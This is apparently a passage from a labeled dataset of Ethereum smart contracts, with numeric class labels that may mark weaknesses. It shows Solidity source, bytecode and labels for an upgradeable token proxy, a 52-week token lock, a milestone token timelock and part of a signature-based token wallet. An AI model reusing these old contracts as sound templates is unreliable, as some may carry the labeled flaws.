0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param _implementation Address of the initial implementation. */ constructor(address _implementation) public { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation); } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: zos-lib/contracts/upgradeability/AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is * validated in the constructor. */ bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * Contract constructor. * It sets the `msg.sender` as the proxy administrator. * @param _implementation address of the initial implementation. */ constructor(address _implementation) UpgradeabilityProxy(_implementation) public { assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin")); _setAdmin(msg.sender); } /** * @return The address of the proxy admin. */ function admin() external view ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external view ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be * called, as described in * https://solidity.readthedocs.io/en/develop/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin { _upgradeTo(newImplementation); require(address(this).call.value(msg.value)(data)); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } // File: contracts/DigitalTokenProxy.sol /** * Copyright CENTRE SECZ 2018 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is furnished to * do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.24; /** * @title DigitalTokenProxy * @dev This contract proxies DigitalToken calls and enables DigitalToken upgrades */ contract DigitalTokenProxy is AdminUpgradeabilityProxy { constructor(address _implementation) public AdminUpgradeabilityProxy(_implementation) { } }
0x73f2262f092063cd19050f7e037cbf6401b58e903530146080604052600080fd00a165627a7a72305820d3b4d615767c7ffa5a474f925a1cb291f3199e447a47d0e4391b0e1ed1b038460029
[ 1 ]
0xf2269793f55629fb813b027c09a1a4f56ce6aa0e
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30758400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x5e70B398024C7f93948377a768b1c8bB5e259fE7; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820a99400c042f1ddf44cbb8fb99b9a0c6420020b9a5e6421606f0352dea5a73df40029
[ 16, 7 ]
0xf226a11b714f35401dab124da8365323de99f4f5
pragma solidity >=0.6.0 <0.8.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock is Ownable{ using SafeERC20 for IERC20; using SafeMath for uint256; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseDuration; uint256 private _startTime; uint256 private _totalReleaseAmount; uint256 private _releaseCount; uint256 private _milestoneCount; uint256 private _lockedAmount; constructor (IERC20 token_, address beneficiary_) public{ _token = token_; _beneficiary = beneficiary_; _releaseDuration = 120 days; _startTime = block.timestamp; _milestoneCount = 4; } function updateLockedAmount() public onlyOwner{ require(_lockedAmount == 0); _lockedAmount = _token.balanceOf(address(this)); } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } function startTime() public view returns (uint256) { return _startTime; } function totalReleasedAmount() public view returns (uint256) { return _totalReleaseAmount; } function releaseCount() public view returns (uint256) { return _releaseCount; } function lockedAmount() public view returns (uint256) { return _lockedAmount; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(_token.balanceOf(address(this)) > 0); require(_lockedAmount > 0); require(_milestoneCount != _releaseCount); require(block.timestamp >= _startTime.add(_releaseDuration)); uint256 amount = 0; amount = amount.add(_lockedAmount.div(_milestoneCount)); require(amount > 0, "TokenTimelock: no tokens to release"); _releaseCount = _releaseCount.add(1); _totalReleaseAmount = _totalReleaseAmount.add(amount); _startTime = block.timestamp; _token.safeTransfer(_beneficiary, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806386d1a69f1161007157806386d1a69f146101465780638a028b20146101505780638da5cb5b1461015a578063b8d08db21461018e578063f2fde38b146101ac578063fc0c546a146101f0576100a9565b806338af3eed146100ae5780636ab28bc8146100e2578063715018a61461010057806378e979251461010a57806383273cd114610128575b600080fd5b6100b6610224565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100ea61024e565b6040518082815260200191505060405180910390f35b610108610258565b005b6101126103de565b6040518082815260200191505060405180910390f35b6101306103e8565b6040518082815260200191505060405180910390f35b61014e6103f2565b005b61015861063b565b005b6101626107de565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610196610807565b6040518082815260200191505060405180910390f35b6101ee600480360360208110156101c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610811565b005b6101f8610a1c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600854905090565b610260610a46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600454905090565b6000600554905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561047d57600080fd5b505afa158015610491573d6000803e3d6000fd5b505050506040513d60208110156104a757600080fd5b8101908080519060200190929190505050116104c257600080fd5b6000600854116104d157600080fd5b60065460075414156104e257600080fd5b6104f9600354600454610a4e90919063ffffffff16565b42101561050557600080fd5b6000610530610521600754600854610ad690919063ffffffff16565b82610a4e90919063ffffffff16565b90506000811161058b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806110316023913960400191505060405180910390fd5b6105a16001600654610a4e90919063ffffffff16565b6006819055506105bc81600554610a4e90919063ffffffff16565b60058190555042600481905550610638600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b209092919063ffffffff16565b50565b610643610a46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006008541461071257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561079b57600080fd5b505afa1580156107af573d6000803e3d6000fd5b505050506040513d60208110156107c557600080fd5b8101908080519060200190929190505050600881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600654905090565b610819610a46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561095f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610fe16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600080828401905083811015610acc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610b1883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610bc2565b905092915050565b610bbd8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610c88565b505050565b60008083118290610c6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c33578082015181840152602081019050610c18565b50505050905090810190601f168015610c605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610c7a57fe5b049050809150509392505050565b6060610cea826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610d779092919063ffffffff16565b9050600081511115610d7257808060200190516020811015610d0b57600080fd5b8101908080519060200190929190505050610d71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611007602a913960400191505060405180910390fd5b5b505050565b6060610d868484600085610d8f565b90509392505050565b6060610d9a85610f95565b610e0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310610e5c5780518252602082019150602081019050602083039250610e39565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610ebe576040519150601f19603f3d011682016040523d82523d6000602084013e610ec3565b606091505b50915091508115610ed8578092505050610f8d565b600081511115610eeb5780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f52578082015181840152602081019050610f37565b50505050905090810190601f168015610f7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015610fd757506000801b8214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c65617365a2646970667358221220ae511f317a961fe23d60c296d2f053203afad9bf2e7df32ff7502de9c2af3b3064736f6c634300060c0033
[ 38 ]
0xf226b12c03514571c5a473b2627f5528da46d263
pragma solidity ^0.4.18; /* This is a token wallet contract Store your tokens in this contract to give them super powers Tokens can be spent from the contract with only an ecSignature from the owner - onchain approve is not needed */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) public pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function 